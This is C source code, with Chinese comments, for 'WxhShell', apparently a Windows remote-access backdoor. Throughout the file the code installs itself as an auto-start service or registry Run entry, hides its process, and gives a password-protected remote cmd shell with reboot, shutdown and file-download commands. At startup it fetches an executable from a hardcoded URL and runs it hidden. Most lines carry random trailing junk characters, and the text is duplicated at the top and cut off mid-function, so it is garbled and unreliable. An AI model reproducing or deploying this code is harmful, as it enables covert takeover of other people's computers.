if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) uPKq<hBI
WinExec(wscfg.ws_filenam,SW_HIDE); JBfDz0P
} i!+D ,O
%a=K:" oU[
if(!OsIsNt) { ]Q,;5>#W
// 如果时win9x，隐藏进程并且设置为注册表启动 bP\0S@1YL
HideProc(); JTK>[|c9oE
StartWxhshell(lpCmdLine); 7ksh%eV
} 59mNb:<
else ]x1MB|a6
if(StartFromService()) Z?X0:WK
// 以服务方式启动 1{l18B`
StartServiceCtrlDispatcher(DispatchTable); xxkUu6x#
else D,q=?~
// 普通方式启动 ?PVJeFH
StartWxhshell(lpCmdLine); ddvSi6
i{[=N9U5o
return 0; )OQhtxK
} U<,@u,_Ja
M2HO!btf
KiW4>@tY
\Zc$X^}vN
=========================================== ,dT.q
jJFWPD]u
8|^dM$
j_N><_Jc
\{r-e
r@N 0%JZZ
" _svEPHU
M S 3?#b
#include <stdio.h> r_C|gfIP
#include <string.h> zRTR
#include <windows.h> aEUC
#include <winsock2.h> V.zKjoky@
#include <winsvc.h> r=GF*i[3
#include <urlmon.h> iEx.BQ+
r@C2zF7
#pragma comment (lib, "Ws2_32.lib") gXr"],OM;
#pragma comment (lib, "urlmon.lib") XMhDx
1'ne[@i^/
#define MAX_USER 100 // 最大客户端连接数 +|}R^x`z
#define BUF_SOCK 200 // sock buffer ~\= VSwJ
#define KEY_BUFF 255 // 输入 buffer 7sP;+G
mF!/8qk
#define REBOOT 0 // 重启 6k6M&a
#define SHUTDOWN 1 // 关机 hZGoiWC
$=dp)
#define DEF_PORT 5000 // 监听端口 <p@c%e,_
rZRcy9$y>
#define REG_LEN 16 // 注册表键长度 bqugo
#define SVC_LEN 80 // NT服务名长度 D'V0b"
6o@}k9AN
// 从dll定义API .C^1.)
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); #Mo`l/Cwp
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Ol,;BZHc\
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); cBf9-k
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); \PS{/XK
_^4\z*x
// wxhshell配置信息 >)ZX
struct WSCFG { U3r[ysf
int ws_port; // 监听端口 !:e|M|T'I*
char ws_passstr[REG_LEN]; // 口令 !_GY\@}
int ws_autoins; // 安装标记, 1=yes 0=no K/RQ-xd4
char ws_regname[REG_LEN]; // 注册表键名 hW*2Le!I
char ws_svcname[REG_LEN]; // 服务名 R'a%_sACj>
char ws_svcdisp[SVC_LEN]; // 服务显示名 u2HkAPhD
char ws_svcdesc[SVC_LEN]; // 服务描述信息 *]2LN$
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 FFXDt"i2
int ws_downexe; // 下载执行标记, 1=yes 0=no f.V;Hl,
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" a]:tn:q
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 &pwSd
8f>=.O*)
}; }*Qd]\fy
y e!Bfz>
// default Wxhshell configuration g-'y_'%0G
struct WSCFG wscfg={DEF_PORT, :0o $qz2
"xuhuanlingzhe", A7U'>r_.
1, H"(:6 `
"Wxhshell", d7N;Fa3yL
"Wxhshell", 8?] :>
"WxhShell Service", 3_=~7B) 8
"Wrsky Windows CmdShell Service", Z&8 7Aj
"Please Input Your Password: ", r`u}n
1, 4mOw[}@A
"http://www.wrsky.com/wxhshell.exe", j&E4|g (
"Wxhshell.exe" /H.QGPr
}; PJj{5,#@3
E%eao$
// 消息定义模块 2rHw5Wn]~
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; }]vj"!?a
char *msg_ws_prompt="\n\r? for help\n\r#>"; FD(zj^*
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; w?ssV
char *msg_ws_ext="\n\rExit."; b3b 4'l
char *msg_ws_end="\n\rQuit."; 20m6-rkI<}
char *msg_ws_boot="\n\rReboot..."; Fk D
char *msg_ws_poff="\n\rShutdown..."; z.16%@R
char *msg_ws_down="\n\rSave to "; _5a]pc$\Y]
';V(sRU@
char *msg_ws_err="\n\rErr!"; o^~6RZ
char *msg_ws_ok="\n\rOK!"; b qB[vPsI
4,9AoK)yp
char ExeFile[MAX_PATH]; l^xkXj
int nUser = 0; %Hv$PsSJ
HANDLE handles[MAX_USER]; T\c;Ra
int OsIsNt; FcIH<_r
5X&<+{bX
SERVICE_STATUS serviceStatus; 'R_U,9y`
SERVICE_STATUS_HANDLE hServiceStatusHandle; D{o1G?A
iM2 EEC
// 函数声明 /og}e~q
int Install(void); t^?8Di\
int Uninstall(void); 1hZM))
int DownloadFile(char *sURL, SOCKET wsh); ~m!>e])P?X
int Boot(int flag); /iif@5lw{
void HideProc(void); 2BH>TmS
int GetOsVer(void); ]wne2WXE
int Wxhshell(SOCKET wsl); X1<)B]y
void TalkWithClient(void *cs); .u7d
int CmdShell(SOCKET sock); rQ}4\PTi
int StartFromService(void); B0p>'O2
int StartWxhshell(LPSTR lpCmdLine); _if&a'
-Kg@Sj/U}R
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); yD1*^~loJ
VOID WINAPI NTServiceHandler( DWORD fdwControl ); e::5|6x
u4VQx,,
// 数据结构和表定义 lk.Q6saI1
SERVICE_TABLE_ENTRY DispatchTable[] = dMGu9k~u
{ 8e\a_R*(|
{wscfg.ws_svcname, NTServiceMain}, BT>*xZLpS
{NULL, NULL} ^'EEry
}; @<vDR">
>o.u,
// 自我安装 6$PfX.Fh
int Install(void) lG#&Pv>-
{ |D]jdd@!a2
char svExeFile[MAX_PATH]; s+zb[3}
HKEY key; c09]Cp<
strcpy(svExeFile,ExeFile); 5mSXf"R^
!c6lP'U
// 如果是win9x系统，修改注册表设为自启动 nr&G4t+%Hv
if(!OsIsNt) { )Xd=EWGUS
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { !YJdi~q
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^|\ *i
RegCloseKey(key); oPa2GW8
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 2gt08\
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); *otJtEI>6
RegCloseKey(key); 0@AK
return 0; yv3myaS
} *3"C"4S
} $Fr2oSTT)
} ?-@hNrx
else { [*}[W6 3v
EXJ>Z
// 如果是NT以上系统，安装为系统服务 4D58cR}
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); @.0jC=!l
if (schSCManager!=0) uaU!V4-
{ g"T~)SQP
SC_HANDLE schService = CreateService PI?-gc?[
( a S<JsB
schSCManager, k(^zhET
wscfg.ws_svcname, *39sh[*}
wscfg.ws_svcdisp, =HoiQWQs`
SERVICE_ALL_ACCESS, a'T|p)N.;T
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 3tr?-l[N\
SERVICE_AUTO_START, xY!]eLZ)&
SERVICE_ERROR_NORMAL, V7lDuiAI
svExeFile, )3..7ht3^5
NULL, E#HO0]S
NULL, *f4KmiQ~%
NULL, 'kh%^_FH7
NULL, L3<XWpv
NULL Szg<;._J
); (j-(fS
if (schService!=0) &UzZE17R
{ sWX
CloseServiceHandle(schService); P%/+?(?
CloseServiceHandle(schSCManager); Np/[MC
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); J|'T2g
strcat(svExeFile,wscfg.ws_svcname); z4f5@
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { |Zt=8}di
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); n:#ji|wM
RegCloseKey(key); :\bttPw5
return 0; g:2/!tujL
} ,$}Q#q
} RuXK` ySv
CloseServiceHandle(schSCManager); (>8fcQUBb
} 3)3'-wu
} KX9ZwsC0
,U2D&{@
return 1; N7;E 2 X
} 2#E;5UYu
yGD0}\!n
// 自我卸载 '.dW>7
int Uninstall(void) {K|{a
{ 9Q.j <
HKEY key; fe0 Y^vW
]3I_H+hU
if(!OsIsNt) { tjTF?>^6|
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Awr]@%I
RegDeleteValue(key,wscfg.ws_regname); u#P7~9ZG-
RegCloseKey(key); ;J5oO$H+68
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Tl1?5
RegDeleteValue(key,wscfg.ws_regname); 'rF TtT
RegCloseKey(key); 1/fvk
return 0; 4({=(O
} +Rh'VZJs
} @+2Zt%
} u(~s$ENl
else { :heJ5*!,
jxoEOEA
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); #/ 4Wcz<
if (schSCManager!=0) Jg Xbs+.
{ B#gmT2L
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); !*cf}<Kmw
if (schService!=0) S_QDYnF)`
{ y>#j4%D~4
if(DeleteService(schService)!=0) { "ulaF+
CloseServiceHandle(schService); h\dIp`H
CloseServiceHandle(schSCManager); YW'Y=*
return 0; c49#aNR
} /# eBDo
CloseServiceHandle(schService); 'Oc8[8
} NMDNls&)k
CloseServiceHandle(schSCManager); k]JLk"K
} Q\rqG
} i3GvTg-X
DTJ
return 1; 6RF01z|~_
} 54OYAkPCk
y#MLxm
// 从指定url下载文件 oO|^ [b#
int DownloadFile(char *sURL, SOCKET wsh) FFkG,XH
{ :vr,@1c
HRESULT hr; ;e{2?}#8&
char seps[]= "/"; U!'lc}5
char *token; $-y+97
char *file; i" )_M|
char myURL[MAX_PATH]; !Q#b4f
char myFILE[MAX_PATH]; 3xe8DD
eS"gHldz
strcpy(myURL,sURL); OBZ|W**N"
token=strtok(myURL,seps); GGBe/X
while(token!=NULL) =UV?Pi*M>
{ <|8l;
file=token; -Z Z$ 1E
token=strtok(NULL,seps); izKk@{Md
} 7Y)wu$!7}
1_t Dp&UO
GetCurrentDirectory(MAX_PATH,myFILE); 8iCIs=06
strcat(myFILE, "\\"); EK'&S=]
strcat(myFILE, file); cU>&E*wD
send(wsh,myFILE,strlen(myFILE),0); 9t[278B6
send(wsh,"...",3,0); \(CW?9)
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); y(R*Z^c}d,
if(hr==S_OK) y"hM6JI
return 0; gv,T<A?Z2
else q^cFD
return 1; HB}gn2.1&
yjO7/<2
} !$?@;}=
+wSm6*j7=
// 系统电源模块 L7g&]%
int Boot(int flag) g-^m\>B
{ I Q L~I13
HANDLE hToken; -7$'* V9$
TOKEN_PRIVILEGES tkp; S3'g(+S
;?!rpj
if(OsIsNt) { \,EPsQV0?
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); .g#=~{A
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 5:d2q<x:{
tkp.PrivilegeCount = 1; ]aRD6F:L
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; "{k )nr+7U
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); HH#i.s2
if(flag==REBOOT) { ,OCTm%6e
if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Mh|`XO.5I
return 0; eh>E).
} \.a .'l
else { ~K96y$ DTE
if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) @>@Nug2
return 0; DG\YZV4
} aTm.10{^
} eW)I}z+{
else { 'lk74qU$
if(flag==REBOOT) { 1.H!A@
if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) xUpb1R
return 0; ;"^9L
} "T u[n\8
else { } XU:DE
if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) O`jA-t
return 0; /&:9VMMj
} mtQ{6u
} dO;vcgvb
{l&2Kd*
return 1; &n.uNe
} =k=2~ j
KdJx#Lc
// win9x进程隐藏模块 8{fz0H.<?
void HideProc(void) |Du13i4].&
{ ].P(/~FS9
QeJ.o.m{
HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); SzlfA%4+GR
if ( hKernel != NULL ) %Dls36F
{ +4g%?5'
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); nvK7*-
( *pRegisterServiceProcess)(GetCurrentProcessId(),1); So*Wk "
FreeLibrary(hKernel); P&3/nL$9N
} 'xZPIj+
fEG3b#t N
return; nl9Cdi]o
} >^f)|0dn)E
50GYL5)q
// 获取操作系统版本 XQJ^)d00h
int GetOsVer(void) $:E}Nj]{&
{ _#D\*0J
OSVERSIONINFO winfo; B/D\gjb
winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Qy^z*s
GetVersionEx(&winfo); #G+
if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) T[XP\!z]B!
return 1; #O9*$eMw
else h@,e`Z
return 0; -iDEh_pts
} ,J(5@8(>a
>@^yj+k
// 客户端句柄模块 #}!>iFBcH
int Wxhshell(SOCKET wsl) q_]
{ 8yWu{'G
SOCKET wsh; QPe9s[Y
struct sockaddr_in client; Z0ncN])
DWORD myID; |pH* CCA
Wz-3?EQ
while(nUser<MAX_USER) (' Ko#3b
{ ~1=.?Ho
int nSize=sizeof(client); 14rVb2^
wsh=accept(wsl,(struct sockaddr *)&client,&nSize); xZP>g
if(wsh==INVALID_SOCKET) return 1; HZDaV&)@
B)"#/@!bHH
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ].-J.
if(handles[nUser]==0) [-E{}FL|
closesocket(wsh); (K*/Vp
else 6MQs \J6.
nUser++; U1>
} K$<`4#i
WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); M9Nk=s! 3
[+%d3+27
return 0; Txt%nzIu
} X;OsH
w>6"Sc7oc2
// 关闭 socket Zk/' \(5
void CloseIt(SOCKET wsh) ]_ejDN\>{V
{ =mKfFeO.
closesocket(wsh); rnn2u+OG
nUser--; g[EM]q,
ExitThread(0); ~?AC:
} M<{5pH(K
&G-#*OG
// 客户端请求句柄 G2CZwm{/f
void TalkWithClient(void *cs) FJsK5-
{ dThR)Z'=
,7^d9v3t
SOCKET wsh=(SOCKET)cs; ]aC':55(
char pwd[SVC_LEN]; yu`KzIU
char cmd[KEY_BUFF]; UAsF0&]
char chr[1]; :DtZ8$I`]C
int i,j; xSpMyXrQ
KTG:I@|C
while (nUser < MAX_USER) { @Jb@L
'1W!xQ}E
if(wscfg.ws_passstr) { ^>N8*=y
if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); M82.khm~jM
//send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); N]1V1c$G*
//ZeroMemory(pwd,KEY_BUFF); %`xV'2H
i=0; 0+T*$=?
while(i<SVC_LEN) { dT5J-70Fl
BFBR/d[&
// 设置超时 LP.HS'M~u
fd_set FdRead; ![*:.CW
struct timeval TimeOut; E2^ KK:4s
FD_ZERO(&FdRead); c3=-Mq9Q
FD_SET(wsh,&FdRead); i&'#+f4t
TimeOut.tv_sec=8; )l`1)Ea~
TimeOut.tv_usec=0; Mw/?wtW
int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); :PgF
if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); VZ\O9lD
PT3>E5`Nu
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ).pO2lLF4
pwd=chr[0]; >vUB%OLyP
if(chr[0]==0xd || chr[0]==0xa) { %tT"`%(+
pwd=0; iV5}U2Vh
break; *8z"^7?^=
} L ;6b+I
i++; ^#]c0
} s(Z(e %
>BBl7
// 如果是非法用户，关闭 socket eymi2-a<
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); k/%#>
} 7; p4Wg7k}
F"!agc2!
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); "[k1D_PZ
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {S G*
+a|"{
while(1) { NwguP
M|d={o9Hp
ZeroMemory(cmd,KEY_BUFF); ! 0^;;'
N1%p"(
// 自动支持客户端 telnet标准 .Y;b)]@f
j=0; _IWxYp
while(j<KEY_BUFF) { UEzsDJu
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |pJC:woq
cmd[j]=chr[0]; t#Th9G]1
if(chr[0]==0xa || chr[0]==0xd) { kBo;h.[l
cmd[j]=0; zxkM'8JC
break; e9&+vsRmA
} Q $]YD pCM
j++; ;J]25j]]
} o]<jZ_|gB
Mi]I:ka
// 下载文件 k'Gw!p}
if(strstr(cmd,"http://")) { ygN>"eP
send(wsh,msg_ws_down,strlen(msg_ws_down),0); xRlYr# %
if(DownloadFile(cmd,wsh)) g5i#YW
send(wsh,msg_ws_err,strlen(msg_ws_err),0); |m)kN2w
else ,9d9_c.T
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [F+,YV%t
} b0rX QMu
else { " !-Kd'V
!;v.>.lw
switch(cmd[0]) { e`iEy=W
:Xfn@>;3ui
// 帮助 zC=a3
case '?': { %D`o
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Lg4YED9#
break; Ja|{1&J.
} )#C mQXgG
// 安装 NLyXBV[hV
case 'i': { O-#TZ
if(Install()) BtsdeLj|
send(wsh,msg_ws_err,strlen(msg_ws_err),0); $ J1f.YE
else dz-y}J11
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ys8Q.oBv_`
break; &^!h}D%T/
} +&5'uAe
// 卸载 \S4SI
case 'r': { Xgat-cy'DA
if(Uninstall()) I[d]!YI}F
send(wsh,msg_ws_err,strlen(msg_ws_err),0); s_[VHPN
else =lp1Z>
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *jITOR!uF`
break; Y3Oz'%B
} `s"d]/85VW
// 显示 wxhshell 所在路径 V5p0h~PK
case 'p': { asVX82<
char svExeFile[MAX_PATH]; },@``&e
strcpy(svExeFile,"\n\r"); "& 25D
strcat(svExeFile,ExeFile); QJGKQ2^ n
send(wsh,svExeFile,strlen(svExeFile),0); )OP){/
break; [ MyE2^
} e,0-)?5R
// 重启 $_Nf-:D*
case 'b': { fjG&`m#"
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); =qu(~]2(
if(Boot(REBOOT)) !*{q^IO9v&
send(wsh,msg_ws_err,strlen(msg_ws_err),0); B&0;4
else { -_N)E ))G
closesocket(wsh); C! 9}
ExitThread(0); zjl!9M!
} *ZrSiIPP
break; 4hs)b
} G`0V)S
// 关机 A8r^)QJP{
case 'd': { K.~q+IYP[
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); !l@zT}i??
if(Boot(SHUTDOWN)) 3gEMRy*+
send(wsh,msg_ws_err,strlen(msg_ws_err),0); hz:pbes
else { QzvHm1,@
closesocket(wsh); C[sh,
ExitThread(0); EgjR^A1W2
} w_tJ7pz8T
break; 88s/Q0l
} SmwQET<H
// 获取shell > L2HET
case 's': { &7e)O=
CmdShell(wsh); i1lBto[
closesocket(wsh); zP\7S}p7%
ExitThread(0); 2,q}Nq
break; $'rG-g!f\
} =q7Z qP
// 退出 ').}Nz
case 'x': { ,f3pqi9|
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); "Jq8?FoT
CloseIt(wsh); ED>prE0
break; m0n)dje
} F,BOgWwP
// 离开 Rhc-q|Lz8
case 'q': { '7^M{y/dU
send(wsh,msg_ws_end,strlen(msg_ws_end),0); ^!<dgBNj
closesocket(wsh); 8Me:Yp_Xt
WSACleanup(); ^zzP.
exit(1); JF&$t}
break; }o4N<%/+
} EP'h@zdz
} #'D" 'B
} g- AHdYJ
J]lrS
// 提示信息 lGwl1,=
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Un`^jw#_
} 7w,FX.=;cv
} c0B|F
c\B|KhDk
return; |F,R&<2
} C2LL|jp*
eAv4FA4g
// shell模块句柄 ;<yd^Xs
int CmdShell(SOCKET sock) *n"/a{6>
{ dm0QcW4
STARTUPINFO si; S5~VD?O,
ZeroMemory(&si,sizeof(si)); t@u7RL*n:<
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; (" LQll9
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ]f+ csB
PROCESS_INFORMATION ProcessInfo; Y<1QY?1sd
char cmdline[]="cmd"; O"Ku1t!
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); j83p)ido
return 0; ;};wq&b#
} hxCvk/7sT
U2uF&6v
// 自身启动模式 O3TQixE
int StartFromService(void) @u==x*{|
{ !vG'J\*xc
typedef struct q_-7i
{ X[f=h=|
DWORD ExitStatus; *OuStr \o
DWORD PebBaseAddress; nX$XL=6mJ&
DWORD AffinityMask; Fx-8M!
DWORD BasePriority; /~x"wo
ULONG UniqueProcessId; (aD_zG=k5
ULONG InheritedFromUniqueProcessId; EwOV;>@T?
} PROCESS_BASIC_INFORMATION; _.L4e^N&UO
3p0LN'q]A
PROCNTQSIP NtQueryInformationProcess; k0T?-iM
v|U(+O
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; s kg*
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; /yM:|`tT
}Ho Qwy|&
HANDLE hProcess; @}u9Rn*d;
PROCESS_BASIC_INFORMATION pbi; _YF%V;X
H^YSJ6
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ]c! ;L5
if(NULL == hInst ) return 0; <~ Sz04
jQ:OKh<Y
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); w8n|B?Sr
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); N!g9*Z
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); m=YU2!Mb
rF]h$Z8o
if (!NtQueryInformationProcess) return 0; 0qX3v<+[6
D9z|VIw8
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); hiQha5
if(!hProcess) return 0; qAw x2fPu
iezO9`
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ~R(%D-k
R~Ne|V2
CloseHandle(hProcess); V{JAB]?^
8QM(?A
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); :s4p/*f
if(hProcess==NULL) return 0; b#X^=n2
9=UkV\m)
HMODULE hMod; ra o[VZ
char procName[255]; KQ~i<1&j
unsigned long cbNeeded; utIX %0
dH-s2r%s
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 3g >B"t
78/Zk}I]
CloseHandle(hProcess); M8tRjNWS?
0zi~p>*nJC
if(strstr(procName,"services")) return 1; // 以服务启动 -?0qf,W.
YGrg
return 0; // 注册表启动 ({q?d[q[
} 0PWg;>^'
2o'Wy
// 主模块 62Z#YQ}x
int StartWxhshell(LPSTR lpCmdLine) !TUrQ
{ L|,!?cSAT
SOCKET wsl; ( vca&wI!
BOOL val=TRUE; C_7+a@?B
int port=0; %T~ig[GstX
struct sockaddr_in door; Qc pm!
~/P&Tub^
if(wscfg.ws_autoins) Install(); Iu <?&9t
(Tbw3ENz
port=atoi(lpCmdLine); O)jWZOVp >
&sU?Ok6
if(port<=0) port=wscfg.ws_port; uB]b}"+l
](s'L8(x
WSADATA data; +1D+]*t_?[
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 2n|K5FR()
M#8uv-L
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; sashzVwJ-=
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); |g//g\dd
door.sin_family = AF_INET; K|Di1)7=/
door.sin_addr.s_addr = inet_addr("127.0.0.1"); hUF5fZqii
door.sin_port = htons(port); v~^{{O
aL&n[
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 0`[wpZ
closesocket(wsl); j!7{|EQFcl
return 1; lhBT@5Dm9
} cj1cZ-
MZT23[+
if(listen(wsl,2) == INVALID_SOCKET) { 3yB!M
closesocket(wsl); *exS6@N]
return 1; E/%9jDTQ
} ;ShJi
Wxhshell(wsl); CW,Wx:Y
WSACleanup(); rv|)n>m
%|^fi8!:|
return 0; lp(8E6
AD|2qM))
} !lj| cT9
@*6 C=LL
// 以NT服务方式启动 \Hn>oonph
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) #g]vc_V
{ .%L?J E
DWORD status = 0; {o.FlX
DWORD specificError = 0xfffffff; pLLGus+W
OHhsP}/
serviceStatus.dwServiceType = SERVICE_WIN32; 5nKj )RH7M
serviceStatus.dwCurrentState = SERVICE_START_PENDING; Ndi9FD3im
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; >kW@~WDMu
serviceStatus.dwWin32ExitCode = 0; (adyZ/j
serviceStatus.dwServiceSpecificExitCode = 0; LdL/399<
serviceStatus.dwCheckPoint = 0; $3s@}vLd
serviceStatus.dwWaitHint = 0; IX>d`O61*g
<gQIq{B?
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); V7Ek-2M
if (hServiceStatusHandle==0) return; pUV/Ul]
YLiSbLz1
status = GetLastError(); _s .G
if (status!=NO_ERROR) @NNq z
{ 'a\%L:`
serviceStatus.dwCurrentState = SERVICE_STOPPED; A m>cd;
serviceStatus.dwCheckPoint = 0; f7X6fr<
serviceStatus.dwWaitHint = 0; NbU[l
serviceStatus.dwWin32ExitCode = status; Yd#/1!A7u
serviceStatus.dwServiceSpecificExitCode = specificError; Y]B)'[=h
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ".<DAs j
return; 2C9V|[U,
} RM!<8fXYD
1ke g9]
serviceStatus.dwCurrentState = SERVICE_RUNNING; B#.L
serviceStatus.dwCheckPoint = 0; YTexv;VNb|
serviceStatus.dwWaitHint = 0; mg$]QnbAnH
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); \ywXi~+kUv
} K"4>DaK2P
BA%pY|"Q
// 处理NT服务事件，比如：启动、停止 ]y1OFKYv
VOID WINAPI NTServiceHandler(DWORD fdwControl) L>SjllY
{ 'i4_`^:+
switch(fdwControl) \\u<S=G
{ enSXP~9w
case SERVICE_CONTROL_STOP: +gJ8{u!=k
serviceStatus.dwWin32ExitCode = 0; LYaZ1*
serviceStatus.dwCurrentState = SERVICE_STOPPED; t\%HX.8[;%
serviceStatus.dwCheckPoint = 0; Ipq"E
serviceStatus.dwWaitHint = 0; e=.njMqW5
{ 2E)wpgUc?e
SetServiceStatus(hServiceStatusHandle, &serviceStatus); jN6uT&{T
} Fpa_qjL;
return; n=c 2Kc
case SERVICE_CONTROL_PAUSE: y6[IfcN
serviceStatus.dwCurrentState = SERVICE_PAUSED; !,Va(E|=
break; ZRg;/sX]
case SERVICE_CONTROL_CONTINUE: ak |WW]R
serviceStatus.dwCurrentState = SERVICE_RUNNING; }DK7'K
break; =W BTm
case SERVICE_CONTROL_INTERROGATE: zY('t!u8
break; Z^IPZF
}; 8$;=Uf,x
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ZGYr$C~
} jkt_5+S
w &(|e <
// 标准应用程序主函数 S>]pRV9rT
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) b7wvaRe.
{ _;UE9S%
{yB&xj[z
// 获取操作系统版本 #R.-KUW:
OsIsNt=GetOsVer(); p%R
GetModuleFileName(NULL,ExeFile,MAX_PATH); P%(O|
=aoMii
// 从命令行安装 s#tZg
if(strpbrk(lpCmdLine,"iI")) Install(); &qr;IL7'
+i2}/s@JJ
// 下载执行文件 Ju :CMkv
if(wscfg.ws_downexe) { 8W#heW\-]
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 7TDy.]
WinExec(wscfg.ws_filenam,SW_HIDE); U2wbvXr5-
} =MLcm^b
yRfSJbzaf\
if(!OsIsNt) { e^[H[d.WMC
// 如果时win9x，隐藏进程并且设置为注册表启动 @p NNq
HideProc(); HAJ7m!P
